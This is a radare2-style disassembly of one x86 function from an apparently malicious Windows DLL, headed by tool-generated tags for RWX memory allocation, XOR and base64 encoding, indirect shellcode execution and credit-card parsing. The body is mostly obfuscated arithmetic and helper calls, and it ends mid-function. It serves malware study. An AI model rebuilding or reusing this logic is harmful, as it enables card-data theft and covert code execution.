Function at 0x10008550
Capabilities:
Allocate or change rwx memory
Encode data using base64
Encode data using xor
Execute shellcode via indirect call
Parse credit card information
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x3e8
mov eax, dword [0x1000e050]
mov dword [esp + 0x5c], eax
mov eax, dword [0x1000e054]
mov eax, dword [0x1000e048]
mov byte [esp + 0xa], 0xdf
mov dword [esp + 0x30], eax
movsx eax, byte [0x1000e007]
mov dword [esp + 0x60], eax
mov al, byte [0x1000e048]
mov dword [esp + 0x84], eax
mov eax, dword [0x1000e040]
mov dword [esp + 0x4c], eax
mov eax, dword [0x1000e044]
mov dword [esp + 0x88], eax
mov al, byte [0x1000e016]
push esi
mov esi, dword [0x1000e070]
mov byte [esp + 0xf], 0x85
mov dword [esp + 0x1c], 0x2c085671
mov dword [esp + 0x20], 0x7a68c
push edi
movzx edi, al
mov eax, 0x3022
mov word [esp + 0x14], ax
mov ecx, edi
mov eax, dword [0x1000e064]
mov dword [esp + 0x40], 0x563f
mov dword [esp + 0x44], 0
mov dword [esp + 0x88], eax
movsx eax, byte [0x1000e004]
cdq
mov dword [esp + 0x58], eax
mov al, byte [0x1000e060]
mov dword [esp + 0x5c], edx
mov byte [esp + 0x11], al
mov al, byte [0x1000e078]
mov byte [esp + 0x4f], al
mov eax, dword [0x1000e010]
mov al, byte [0x1000e001]
mov eax, dword [0x1000e070]
mov dword [esp + 0x30], 0x75686c2e
mov byte [esp + 0x4f], 8
mov word [esp + 0x94], ax
mov eax, 0x20b4
mov word [esp + 0x94], ax
mov eax, dword [0x1000e05c]
mov al, byte [0x1000e007]
mov eax, dword [0x1000e098]
mov dword [esp + 0x30], eax
mov ax, word [0x1000e07c]
mov eax, dword [0x10047e58]
movups xmm0, xmmword [0x1000d170]
mov dword [esp + 0x18], eax
mov eax, dword [0x1000d188]
mov dword [esp + 0x1a8], eax
movzx eax, word [0x1000d18c]
mov word [esp + 0x1ac], ax
lea eax, [esp + 0x190]
movups xmmword [esp + 0x190], xmm0
push eax
movq xmm0, qword [0x1000d180]
mov dword [esp + 0x40], ecx
mov byte [esp + 0x74], 0x5c
mov dword [esp + 0x80], 0xd30ef8b
mov dword [esp + 0x7c], 0x949c0
movq qword [esp + 0x1a4], xmm0
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov byte [esp + 0x11], al
mov eax, dword [esp + 0x18]
add eax, 0x150
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x18]
add eax, 0x2f0
mov dword [esp + 0x15c], eax
mov eax, dword [esp + 0x18]
add eax, 0xd4
cmp byte [0x1000e006], 0
mov dword [esp + 0xc0], eax
mov eax, dword [0x10047e58]
mov dword [esp + 0x18], eax
je 0x1000874f
cmp byte [0x1000e007], 0
mov edx, dword [esp + 0x54]
je 0x10008727
mov al, byte [esp + 0x68]
sub al, 0x2a
mov byte [esp + 0x12], al
jmp 0x10008784
mov eax, dword [esp + 0x38]
mov ecx, dword [esp + 0x88]
sub al, 0x1b
mov dword [esp + 0x8c], eax
sub ecx, edx
mov eax, dword [esp + 0x88]
add eax, ecx
mov dword [esp + 0x88], eax
jmp 0x10008784
mov ecx, dword [0x1000e050]
mov eax, dword [0x1000e054]
or ecx, eax
jne 0x10008780
cmp byte [esp + 0x8c], cl
jne 0x10008780
mov eax, dword [0x1000e040]
or eax, dword [0x1000e044]
je 0x10008780
lea eax, [esi + 0x21]
cdq
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], edx
mov edx, dword [esp + 0x54]
mov eax, dword [esp + 0x18]
add eax, 0x3bd
mov dword [esp + 0x17c], eax
movzx eax, byte [esp + 0x11]
cmp eax, dword [esp + 0x38]
jge 0x100087f4
movsx eax, byte [0x1000e003]
cmp eax, 0xba8c7792
jae 0x100087bc
mov eax, dword [0x1000e090]
mov cl, 0xcd
sub cl, al
mov byte [esp + 0x64], cl
jmp 0x100087f4
mov eax, edx
or eax, dword [esp + 0x90]
jne 0x100087f4
mov esi, dword [esp + 0x40]
mov edx, dword [esp + 0x44]
mov ecx, dword [esp + 0x20]
mov eax, dword [esp + 0x24]
push eax
push ecx
push edx
push esi
call fcn.1000cc80
mov ecx, dword [esp + 0x20]
mov esi, dword [esp + 0x24]
add ecx, eax
mov dword [esp + 0x20], ecx
adc esi, edx
mov dword [esp + 0x24], esi
mov eax, dword [esp + 0x18]
sub esp, 8
add eax, 0x2f0
mov dword [esp + 0x188], eax
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x2c]
call fcn.10001000
mov dword [esp + 0x48], eax
add esp, 8
mov dword [esp + 0x44], edx
mov eax, dword [esp + 0x40]
mov ecx, dword [esp + 0x44]
mov eax, dword [esp + 0x18]
add eax, 0x202
mov dword [esp + 0x30], eax
movsx eax, byte [esp + 0x13]
cmp dword [0x1000e064], eax
je 0x10008886
cmp byte [0x1000e006], 0
je 0x10008871
mov ecx, dword [0x1000e090]
movzx eax, byte [0x1000e002]
neg ecx
sbb ecx, ecx
inc ecx
sub ecx, eax
xor eax, eax
cmp dword [0x1000e058], eax
sete al
xor eax, ecx
mov dword [esp + 0x68], eax
jmp 0x100088ba
mov eax, dword [esp + 0x68]
sar eax, 2
cdq
mov dword [0x1000e040], eax
mov dword [0x1000e044], edx
jmp 0x100088ba
cmp dword [esp + 0x38], 0
je 0x10008895
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x24]
movsx eax, byte [0x1000e017]
movzx ecx, byte [0x1000e005]
add eax, 0x1f546e24
mov dword [0x1000e090], eax
mov eax, dword [0x1000e020]
lea eax, [ecx + eax*2]
mov dword [0x1000e020], eax
mov eax, dword [0x10047e58]
xor edx, edx
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x18]
add eax, 0x32e
movsx esi, word [esp + 0x3c]
mov dword [esp + 0x9c], eax
mov eax, dword [0x10047e58]
mov dword [0x1000e008], eax
mov dword [0x1000e00c], 0
mov byte [0x1000e016], 0xc5
mov eax, dword [esp + 0x18]
add eax, 0x38b
mov dword [esp + 0x2c], 0x1a9c1
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x18]
add eax, 0x389
mov dword [0x1000e064], esi
mov dword [esp + 0x50], eax
mov eax, dword [0x10047e58]
mov dword [esp + 0x18], eax
movsx eax, byte [esp + 0x13]
add dword [esp + 0x68], eax
mov eax, dword [esp + 0x18]
add eax, 0x3b2
mov dword [esp + 0x184], eax
mov eax, 0xf178
mov word [0x1000e024], ax
mov eax, dword [esp + 0x18]
add eax, 0x158
mov dword [esp + 0x30], eax
movzx ecx, byte [0x1000e002]
mov eax, dword [esp + 0x88]
cmp eax, ecx
setg dl
xor eax, eax
cmp byte [0x1000e005], al
sete al
cmp edx, eax
jne 0x10008a66
mov eax, dword [0x1000e038]
mov ecx, dword [0x1000e03c]
call fcn.100012d0
mov word [esp + 0x14], ax
xor edx, edx
movsx eax, byte [0x1000e003]
mov ecx, dword [esp + 0x88]
not eax
cmp eax, esi
mov eax, dword [esp + 0x64]
movsx eax, al
setl dl
add ecx, eax
cmp edx, ecx
jl 0x10008a1b
mov ecx, dword [esp + 0x40]
mov eax, dword [esp + 0x44]
or ecx, eax
je 0x100089cd
cmp dword [esp + 0x38], 0
je 0x100089cd
xor edx, edx
jmp 0x100089d2
mov edx, 1
movzx eax, word [esp + 0x14]
xor ecx, ecx
cmp byte [0x1000e004], cl
sete cl
imul eax, ecx
cmp edx, eax
jae 0x10008a1b
cmp byte [0x1000e005], 0
je 0x10008a97
movsx eax, byte [0x1000e017]
cdq
add dword [0x1000e048], eax
mov eax, dword [0x1000e064]
adc dword [0x1000e04c], edx
add eax, 0x5438
mov dword [0x1000e094], eax
jmp 0x10008a97
mov ax, word [0x1000e068]
xor edx, edx
movzx ecx, byte [0x1000e005]
test ax, ax
movsx eax, byte [0x1000e017]
sete dl
mov dword [0x1000e01c], 0
inc ecx
sub edx, eax
mov eax, dword [0x1000e050]
add ecx, esi
and ecx, edx
mov dword [0x1000e018], ecx
mov ecx, dword [0x1000e054]
mov dword [0x1000e040], eax
mov dword [0x1000e044], ecx
jmp 0x10008a97
mov ax, word [0x1000e068]
mov eax, dword [0x1000e090]
movzx ecx, byte [0x1000e006]
neg eax
xor ecx, eax
movsx eax, byte [0x1000e007]
add eax, dword [0x1000e020]
not eax
add eax, ecx
neg eax
sbb eax, eax
inc eax
mov dword [0x1000e098], eax
mov eax, dword [esp + 0x18]
add eax, 0xf1
mov dword [esp + 0x160], eax
test di, di
jne 0x10008ae8
cmp dword [0x1000e090], 0
je 0x10008ac5
mov eax, dword [esp + 0x3c]
sub eax, dword [0x1000e080]
mov dword [esp + 0x3c], eax
jmp 0x10008ae8
cmp byte [esp + 0x12], 0
je 0x10008ae8
mov cl, byte [esp + 0x12]
mov al, cl
shl al, 2
add cl, al
movsx ax, byte [0x1000e004]
mov dword [esp + 0x70], ecx
sub word [esp + 0x3c], ax
mov eax, dword [0x10047e58]
mov ecx, 0x2ab
add byte [esp + 0x70], 0xab
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x8c]
movsx edx, al
mov eax, dword [0x1000e05c]
dec ecx
mov eax, edx
xor eax, dword [0x1000e098]
mov dword [0x1000e064], eax
test ecx, ecx
jg 0x10008b05
mov eax, dword [esp + 0x18]
movups xmm0, xmmword [str.0123456789abcdef]
add eax, 0x1f8
mov dword [esp + 0x30], eax
mov ax, word [0x1000d1b0]
movups xmmword [esp + 0x1b0], xmm0
mov word [esp + 0x1d0], ax
lea eax, [esp + 0x1b0]
movups xmm0, xmmword [0x1000d1a0]
push eax
movups xmmword [esp + 0x1c4], xmm0
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov eax, dword [esp + 0x18]
add eax, 0xa
mov dword [esp + 0x18c], eax
mov eax, dword [esp + 0x18]
add eax, 0x1a7
cmp dword [0x1000e060], 0
mov dword [esp + 0x98], eax
jne 0x10008b96
mov dword [esp + 0x6c], 1
xor edi, edi
jmp 0x10008bab
xorps xmm0, xmm0
movlpd qword [esp + 0x30], xmm0
mov eax, dword [esp + 0x30]
mov edi, dword [esp + 0x34]
mov dword [esp + 0x6c], eax
movzx eax, word [esp + 0x14]
mov esi, dword [esp + 0x20]
mov ecx, dword [esp + 0x24]
cdq
add esi, eax
push edi
push dword [esp + 0x70]
adc ecx, edx
not esi
not ecx
push ecx
push esi
call fcn.1000cc80
or eax, edx
jne 0x10008c5b
cmp dword [0x1000e05c], eax
je 0x10008c1a
mov al, byte [0x1000e002]
mov eax, dword [0x1000e090]
mov eax, dword [esp + 0x64]
mov ecx, dword [esp + 0x20]
movsx eax, al
not eax
cdq
add eax, ecx
mov esi, edx
mov edx, dword [esp + 0x24]
mov ecx, dword [esp + 0x40]
adc esi, edx
neg ecx
mov dword [0x1000e070], eax
mov eax, dword [esp + 0x44]
mov dword [0x1000e074], esi
mov dword [esp + 0x2c], ecx
jmp 0x10008c5b
cmp byte [esp + 0x64], 0
jne 0x10008c3e
cmp dword [0x1000e020], 0
movsx eax, byte [0x1000e017]
jne 0x10008c38
movsx eax, word [0x1000e07c]
mov dword [esp + 0x38], eax
jmp 0x10008c5b
mov ecx, dword [0x1000e088]
mov eax, dword [0x1000e08c]
add dword [0x1000e098], ecx
mov eax, 0xfdf8
add word [0x1000e06c], ax
mov eax, dword [0x10047e58]
mov esi, 0x1ca
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x18]
add eax, 0x261
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x18]
add eax, 0x77
mov byte [0x1000e003], 0xd1
mov dword [esp + 0x148], eax
mov eax, dword [0x1000e050]
mov ecx, dword [0x1000e054]
mov eax, dword [esp + 0x18]
add eax, 0x26e
mov dword [esp + 0x30], eax
mov eax, dword [0x10047e58]
mov dword [esp + 0x18], eax
mov ax, word [0x1000e068]
mov eax, dword [esp + 0x18]
add eax, 0x31e
mov dword [esp + 0x164], eax
mov eax, dword [0x1000e020]
add eax, 0x31af782b
mov dword [0x1000e098], eax
mov eax, dword [0x1000e094]
xor edx, edx
mov ecx, dword [esp + 0x68]
sub ecx, dword [0x1000e060]
test eax, eax
movzx eax, word [esp + 0x14]
cmove edx, ecx
not eax
mov ecx, dword [esp + 0x38]
and ecx, eax
movzx eax, byte [0x1000e001]
neg ecx
not eax
sbb ecx, ecx
inc ecx
xor eax, ecx
add eax, edx
mov dword [0x1000e078], eax
sub esi, 1
jne 0x10008cd1
mov eax, dword [esp + 0x18]
xor ecx, ecx
add eax, 0x1c7
mov dword [esp + 0x150], eax
mov eax, dword [esp + 0x18]
add eax, 0x27a
mov dword [esp + 0x14c], eax
movsx eax, word [0x1000e07c]
cmp dword [esp + 0x68], eax
setne cl
xor eax, eax
cmp dword [esp + 0x68], 0x38
setne al
cmp ecx, eax
jae 0x10008d7c
movsx eax, byte [0x1000e004]
push 0x3480d
cdq
push 0x564579f2
push edx
push eax
call fcn.1000cc80
mov dword [0x1000e028], eax
mov dword [0x1000e02c], edx
mov al, byte [esp + 0x12]
add al, 0x19
mov dword [esp + 0x70], eax
mov eax, dword [0x10047e58]
mov dword [esp + 0x18], eax
mov al, byte [esp + 0x13]
xor al, 0xb4
mov byte [esp + 0x1f], al
mov eax, dword [esp + 0x18]
mov ecx, dword [0x1000e018]
add eax, 0x21
mov esi, dword [0x1000e01c]
mov dword [esp + 0xb0], eax
mov eax, ecx
or eax, esi
je 0x10008e12
movsx eax, byte [section..data]
cdq
cmp edx, esi
ja 0x10008dc8
jb 0x10008dc1
cmp eax, ecx
jae 0x10008dc8
mov ecx, 1
jmp 0x10008dca
xor ecx, ecx
xor eax, eax
cmp byte [section..data], 2
setl al
cmp ecx, eax
jae 0x10008f21
mov ax, word [0x1000e024]
movsx cx, byte [esp + 0x1f]
add cx, word [0x1000e024]
add cx, ax
mov word [0x1000e024], cx
mov ecx, dword [0x1000e088]
mov eax, dword [0x1000e08c]
sub ecx, 0x3abda7a
mov dword [0x1000e094], ecx
mov edi, dword [esp + 0x54]
mov eax, dword [esp + 0x18]
add eax, 0x3d2
cmp byte [esp + 0x70], 0
mov dword [esp + 0xa4], eax
mov al, byte [0x1000e001]
mov eax, dword [0x1000e028]
mov ecx, dword [0x1000e02c]
je 0x10008e4d
cmp word [0x1000e06c], 0
je 0x10008e4d
mov ax, word [0x1000e014]
mov eax, dword [esp + 0x18]
add eax, 0x143
mov dword [esp + 0x30], eax
mov ecx, dword [esp + 0x40]
mov eax, dword [esp + 0x44]
and ecx, 0x41
mov eax, dword [0x10047e58]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x18]
add eax, 0x3ba
mov dword [esp + 0x84], ecx
mov dword [esp + 0x140], eax
mov ecx, dword [esp + 0x40]
mov eax, dword [esp + 0x44]
mov al, byte [esp + 0x11]
movzx edx, al
mov al, byte [0x1000e001]
movzx ecx, cl
imul edx, ecx
mov ecx, dword [esp + 0x68]
add dl, cl
add dl, byte [0x1000e005]
add dl, byte [0x1000e078]
sub dl, al
inc dl
not dl
mov byte [esp + 0x11], dl
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x84]
add eax, 0x258
mov dword [esp + 0x30], eax
mov al, 0x85
sub al, dl
add al, byte [esp + 0x11]
mov byte [esp + 0x11], al
mov eax, dword [esp + 0x18]
add eax, 0xbb
cmp word [0x1000e06c], 0
mov dword [esp + 0x6c], eax
jne 0x10009022
cmp byte [0x1000e001], 0
je 0x10008fc9
cmp dword [0x1000e020], 0
je 0x10008fc0
mov eax, dword [esp + 0x64]
movsx eax, al
mov byte [0x1000e001], al
jmp 0x10009022
cmp word [0x1000e06c], 0
je 0x10008f42
mov ecx, dword [esp + 0x40]
mov eax, dword [esp + 0x44]
sub cl, byte [0x1000e070]
mov byte [esp + 0x12], cl
jmp 0x10008e12
movzx eax, word [esp + 0x14]
mov esi, dword [0x1000e038]
mov ecx, dword [0x1000e03c]
cdq
cmp ecx, edx
ja 0x10008f67
jb 0x10008f5e
cmp esi, eax
ja 0x10008f67
mov ecx, 1
xor esi, esi
jmp 0x10008f78
xorps xmm0, xmm0
movlpd qword [esp + 0x30], xmm0
mov esi, dword [esp + 0x34]
mov ecx, dword [esp + 0x30]
mov eax, dword [esp + 0x8c]
mov edi, dword [esp + 0x54]
movsx eax, al
cdq
or edx, dword [esp + 0x90]
or eax, edi
cmp edx, esi
jb 0x10008e16
ja 0x10008fa2
cmp eax, ecx
jb 0x10008e16
mov ax, word [0x1000e024]
mov edx, 0x83b5d77a
mov ecx, dword [esp + 0x2c]
test ax, ax
cmovne ecx, edx
mov dword [esp + 0x2c], ecx
jmp 0x10008e16
mov eax, ecx
mov byte [0x1000e001], al
jmp 0x10009022
mov eax, dword [esp + 0x88]
cdq
cmp dword [0x1000e030], eax
jne 0x10008fe8
cmp dword [0x1000e034], edx
jne 0x10008fe8
mov edx, 1
jmp 0x10008fea
xor edx, edx
movzx eax, word [0x1000e06c]
xor ecx, ecx
not eax
cmp eax, dword [0x1000e078]
sete cl
cmp ecx, edx
mov edx, dword [esp + 0x84]
je 0x10009022
mov eax, dword [esp + 0x2c]
xor ecx, ecx
add eax, 0x83b5d77a
mov dword [esp + 0x20], eax
adc ecx, 0xdba53
mov dword [esp + 0x24], ecx
mov eax, dword [0x10047e58]
mov dword [esp + 0x18], eax
mov eax, dword [0x1000e064]
add eax, 0xffff0e87
mov dword [0x1000e098], eax
mov eax, dword [esp + 0x18]
add eax, 0x173
mov dword [esp + 0xac], eax
mov al, byte [esp + 0x1f]
cbw
cmp word [esp + 0x3c], ax
jg 0x100090b8
movzx eax, byte [0x1000e002]
xor ecx, ecx
cmp eax, dword [esp + 0x68]
setl cl
cmp byte [0x1000e002], 0x2e
sbb eax, eax
neg eax
cmp ecx, eax
jne 0x100090a1
movsx eax, byte [esp + 0x12]
movzx ecx, byte [0x1000e001]
not eax
add ecx, eax
movzx eax, byte [0x1000e001]
mov edx, dword [0x1000e094]
add edx, eax
imul edx, ecx
mov dword [esp + 0x84], edx
jmp 0x100090b8
mov eax, dword [0x1000e064]
mov ecx, dword [esp + 0x3c]
add eax, ecx
xor ecx, eax
mov dword [0x1000e010], edx
mov dword [esp + 0x3c], ecx
mov eax, dword [esp + 0x18]
sub esp, 8
add eax, 0x130
mov dword [esp + 0x38], eax
call fcn.10001000
add esp, 8
mov dword [0x1000e090], eax
cmp dword [0x1000e090], 0
jl 0x1000910a
movsx cx, byte [esp + 0x12]
mov eax, 0x257f
movzx ecx, cx
imul ecx, eax
mov eax, dword [0x10047e58]
mov word [0x1000e024], cx
mov dword [0x1000e038], eax
mov dword [0x1000e03c], 0
mov eax, dword [esp + 0x18]
add eax, 0x2c0
mov dword [esp + 0x30], eax
mov eax, dword [0x10047e58]
push ecx
mov dword [esp + 0x1c], eax
call fcn.10001140
cwde
add esp, 4
mov dword [0x1000e05c], eax
cmp dword [0x1000e05c], 0
je 0x10009199
movzx eax, byte [esp + 0x11]
cmp ax, word [0x1000e06c]
jae 0x100091e7
movzx edi, word [esp + 0x14]
movzx eax, word [0x1000e07c]
movsx ecx, byte [0x1000e005]
movsx edx, byte [0x1000e017]
movsx esi, byte [0x1000e003]
sub edi, edx
movsx eax, al
not edi
imul eax, ecx
cmp edi, esi
sete cl
mov dword [esp + 0x80], eax
movzx eax, word [0x1000e014]
mov edx, dword [esp + 0x80]
sub dl, al
xor cl, dl
mov byte [esp + 0x64], cl
jmp 0x100091e7
mov al, byte [0x1000e002]
xor ecx, ecx
test al, al
movzx eax, byte [0x1000e002]
sete cl
xor edx, edx
cmp ecx, dword [0x1000e060]
setl dl
cmp edx, eax
jae 0x100091e7
mov edx, dword [esp + 0x20]
mov esi, dword [esp + 0x24]
and edx, edi
mov eax, dword [esp + 0x20]
and esi, dword [esp + 0x90]
add eax, edx
mov ecx, dword [esp + 0x24]
mov byte [0x1000e006], 0xf0
adc ecx, esi
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], ecx
mov eax, dword [esp + 0x18]
add eax, 0x1e1
mov dword [esp + 0xa8], eax
mov ecx, dword [esp + 0x40]
mov eax, dword [esp + 0x44]
movzx eax, cl
imul ecx, eax, 0x7f
mov al, byte [0x1000e001]
sub al, cl
mov byte [0x1000e001], al
mov eax, dword [esp + 0x18]
add eax, 0x319
mov dword [esp + 0xbc], eax
mov eax, dword [esp + 0x18]
add eax, 0x14a
mov dword [esp + 0x30], eax
mov ax, word [0x1000e068]
sub ax, word [0x1000e040]
mov ecx, dword [0x1000e008]
add ecx, dword [0x1000e048]
mov word [0x1000e068], ax
mov eax, dword [0x10047e58]
mov dword [esp + 0x18], eax
mov eax, dword [0x1000e00c]
adc eax, dword [0x1000e04c]
or ecx, eax
mov byte [0x1000e004], 4
jne 0x10009270
mov dl, 1
jmp 0x10009272
xor dl, dl
mov ecx, dword [esp + 0x40]
mov eax, dword [esp + 0x44]
add cl, dl
mov eax, dword [esp + 0x18]
add cl, byte [0x1000e008]
add eax, 0x2be
mov dword [esp + 0x30], eax
mov eax, dword [0x1000e048]
mov dword [0x1000e020], eax
mov eax, dword [esp + 0x64]
sub al, 0x44
mov dword [esp + 0x8c], ecx
mov byte [esp + 0x11], al
mov eax, dword [esp + 0x18]
mov esi, dword [0x1000e040]
add eax, 0x69
mov edx, dword [0x1000e044]
mov dword [esp + 0x80], eax
mov eax, dword [esp + 0x40]
mov ecx, dword [esp + 0x44]
cmp esi, eax
jne 0x100092db
cmp edx, ecx
jne 0x100092db
mov ecx, 1
jmp 0x100092dd
xor ecx, ecx
cmp esi, 0x3c
jne 0x100092eb
test edx, edx
jne 0x100092eb
lea eax, [esi - 0x3b]
jmp 0x100092ed
xor eax, eax
cmp ecx, eax
ja 0x10009319
movzx eax, byte [0x1000e002]
movzx ecx, word [esp + 0x14]
add eax, 0x556353aa
mov dword [0x1000e020], eax
movsx ax, byte [section..data]
sub cx, ax
mov word [esp + 0x14], cx
jmp 0x10009371
mov eax, dword [0x1000e060]
mov esi, dword [esp + 0x20]
mov ecx, dword [esp + 0x24]
cdq
cmp ecx, edx
jg 0x10009355
jl 0x10009331
cmp esi, eax
jae 0x10009355
mov eax, dword [esp + 0x38]
sub eax, 0x42
mov dword [0x1000e034], 0
mov dword [esp + 0x84], eax
mov eax, dword [0x10047e58]
mov dword [0x1000e030], eax
jmp 0x10009371
movsx ax, byte [esp + 0x13]
movzx eax, ax
cmp word [0x1000e068], ax
jne 0x10009371
mov dword [0x1000e078], 0x13
mov eax, dword [esp + 0x18]
mov ecx, 0xb2
mov edx, dword [esp + 0x8c]
add eax, 0x308
movsx edi, dl
mov dword [esp + 0xa0], eax
mov dword [esp + 0x8c], edi
nop word [eax + eax]
mov al, byte [0x1000e006]
sub dword [0x1000e064], edi
add al, 0x64
mov byte [esp + 0x11], al
mov eax, dword [0x1000e010]
inc eax
mov dword [0x1000e010], eax
sub ecx, 1
jne 0x100093a0
mov eax, dword [0x10047e58]
mov dword [esp + 0x18], eax
mov ax, word [esp + 0x14]
mov word [esp + 0x94], ax
mov eax, dword [esp + 0x18]
add eax, 0x273
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x18]
add eax, 0xa4
mov dword [esp + 0x30], eax
mov eax, 0x32ca
movsx cx, byte [esp + 0x12]
movzx ecx, cx
imul ecx, eax
mov eax, dword [esp + 0x18]
add eax, 0xeb
mov word [0x1000e06c], cx
mov dword [esp + 0x30], eax
cmp byte [esp + 0x11], 0
je 0x10009480
xor ecx, ecx
cmp dl, byte [esp + 0x1f]
setg cl
xor eax, eax
cmp dl, 0x24
setg al
cmp ecx, eax
ja 0x10009466
mov ecx, dword [0x1000e070]
mov eax, dword [0x1000e074]
not ecx
add ecx, 0x7c4a2886
not eax
adc eax, 0xfff245ac
or ecx, eax
mov cl, 2
je 0x10009454
mov cl, 1
mov al, byte [0x1000e016]
mov al, byte [esp + 0x13]
add al, cl
mov byte [0x1000e001], al
jmp 0x100094c4
cmp byte [esp + 0x94], 0
je 0x100094c4
add dword [0x1000e048], 1
adc dword [0x1000e04c], 0
jmp 0x100094c4
cmp byte [0x1000e004], 0
je 0x100094a6
mov cl, byte [0x1000e078]
mov eax, dword [esp + 0x2c]
not cl
movsx ecx, cl
movsx eax, al
imul ecx, eax
not cl
mov byte [esp + 0x12], cl
jmp 0x100094c4
mov al, byte [0x1000e058]
mov byte [0x1005a151], al
mov eax, dword [esp + 0x70]
movsx ecx, al
mov eax, dword [0x1000e064]
lea eax, [ecx + eax*2]
mov dword [0x1000e064], eax
movsx ecx, word [0x1000e07c]
sub esp, 8
mov ax, word [0x1000e07c]
xor ecx, edi
add ax, cx
mov byte [esp + 0x103], 0x6c
mov word [0x1000e07c], ax
call fcn.10001000
mov dword [esp + 0x60], eax
add esp, 8
mov dword [esp + 0x5c], edx
cmp byte [0x1000e016], 0
je 0x10009590
cmp dword [0x1000e098], edi
ja 0x10009590
mov eax, dword [esp + 0x68]
cdq
cmp eax, dword [0x1000e018]
jne 0x10009529
cmp edx, dword [0x1000e01c]
jne 0x10009529
xor esi, esi
jmp 0x1000952e
mov esi, 1
movsx eax, word [0x1000e068]
mov edi, dword [0x1000e038]
mov ecx, dword [0x1000e03c]
cdq
cmp ecx, edx
ja 0x10009553
jb 0x1000954c
cmp edi, eax
ja 0x10009553
mov eax, 1
jmp 0x10009555
xor eax, eax
mov edi, dword [esp + 0x8c]
cmp esi, eax
jb 0x10009590
movzx eax, byte [0x1000e005]
cdq
add dword [0x1000e008], eax
mov eax, dword [0x1000e028]
adc dword [0x1000e00c], edx
add eax, 0xffffffff
mov ecx, dword [0x1000e02c]
adc ecx, 0xffffffff
mov dword [0x1000e028], eax
mov dword [0x1000e02c], ecx
mov byte [esp + 0xf5], 0x6c
call fcn.100015c0
movzx eax, ax
cdq
mov dword [0x1000e018], eax
mov eax, dword [esp + 0x38]
shl eax, 6
mov dword [0x1000e01c], edx
cdq
mov dword [esp + 0x54], eax
movzx eax, byte [0x1000e001]
mov dword [esp + 0x90], edx
cdq
add eax, 0xb9ca
mov byte [esp + 0xf0], 0x4b
mov dword [0x1000e038], eax
adc edx, 0
mov dword [0x1000e03c], edx
mov edx, 0x69
mov ax, word [0x1000e07c]
inc ax
mov byte [esp + 0xf6], 0x33
mov word [0x1000e07c], ax
movzx eax, word [esp + 0x14]
mov ecx, dword [esp + 0x20]
xor eax, 0xb0
mov dword [esp + 0x74], eax
mov eax, dword [esp + 0x24]
mul edx
mov esi, eax
mov eax, ecx
mov ecx, 0x69
mul ecx
mov ecx, dword [0x1000e038]
add esi, edx
mov edx, dword [0x1000e03c]
add ecx, eax
mov dword [0x1000e038], ecx
adc edx, esi
mov dword [0x1000e03c], edx
mov edx, dword [esp + 0x15c]
sub dl, byte [esp + 0x15c]
mov eax, dword [esp + 0xc0]
mov ecx, dword [esp + 0xc0]
xor cl, dl
mov byte [esp + 0xf2], 0x72
xor cl, al
add cl, 0x6c
cmp dword [0x1000e098], 0
mov byte [esp + 0xfa], cl
je 0x10009697
mov ecx, 0x66
add dword [esp + 0x74], ecx
mov eax, dword [esp + 0x38]
sar eax, 4
mov dword [esp + 0x88], eax
sub ecx, 1
jne 0x10009682
jmp 0x100096a2
mov al, byte [esp + 0x13]
mov byte [0x1000e005], 0x85
mov eax, dword [esp + 0x58]
sub esp, 0x38
mov ecx, dword [esp + 0x94]
mov byte [esp + 0x12b], 0x6e
mov byte [esp + 0x131], 0x64
call fcn.10001920
mov ecx, dword [esp + 0x70]
add esp, 0x38
add ecx, 0x8649
mov dword [0x1000e098], 0x8649
mov dword [esp + 0x64], eax
mov dword [esp + 0x18], edx
mov byte [esp + 0xf1], 0x65
cmp dword [0x1000e098], ecx
jne 0x10009866
movsx ecx, byte [esp + 0x12]
movsx eax, word [0x1000e068]
add ecx, 0xf75b
cmp eax, ecx
jne 0x10009866
sub esp, 8
call fcn.10001450
movsx ecx, al
add esp, 8
mov dword [0x1000e064], ecx
mov cl, 0xd
cmp cl, al
sbb ecx, ecx
xor dl, dl
inc ecx
cmp dl, al
sbb eax, eax
inc eax
cmp eax, ecx
je 0x10009778
cmp word [0x1000e024], 0
mov ecx, dword [esp + 0x2c]
mov di, word [esp + 0x3c]
mov dword [esp + 0x18], 0
lea eax, [ecx - 0xed]
mov dword [esp + 0x64], eax
je 0x1000976c
movsx eax, di
mov dword [esp + 0x84], eax
jmp 0x1000986f
mov dword [esp + 0x84], ecx
jmp 0x1000986f
mov eax, edi
not eax
test eax, eax
jne 0x1000978c
cmp dword [0x1000e020], eax
jne 0x1000978c
xor edi, edi
jmp 0x10009791
mov edi, 1
movsx eax, byte [esp + 0x13]
mov esi, dword [0x1000e038]
not eax
mov ecx, dword [0x1000e03c]
not esi
cdq
not ecx
cmp ecx, edx
jb 0x100097ba
ja 0x100097b3
cmp esi, eax
jbe 0x100097ba
mov eax, 1
jmp 0x100097bc
xor eax, eax
cmp edi, eax
je 0x10009866
movzx eax, byte [0x1000e001]
imul eax, eax, 0xe3a6c15c
mov dword [0x1000e084], 0
mov dword [0x1000e080], eax
movsx eax, word [0x1000e068]
mov esi, dword [esp + 0x58]
mov ecx, dword [esp + 0x5c]
cdq
add esi, eax
adc ecx, edx
or esi, ecx
jne 0x10009807
mov dword [esp + 0xc0], 1
xor edi, edi
jmp 0x10009828
xorps xmm0, xmm0
movlpd qword [esp + 0xc0], xmm0
mov eax, dword [esp + 0xc0]
mov edi, dword [esp + 0xc4]
mov dword [esp + 0xc0], eax
movsx eax, byte [esp + 0x13]
mov ecx, dword [esp + 0x20]
mov esi, dword [esp + 0x24]
cdq
push edi
push dword [esp + 0xc4]
sub eax, ecx
sbb edx, esi
push edx
push eax
call fcn.1000cc80
movsx ecx, word [esp + 0x3c]
mov esi, eax
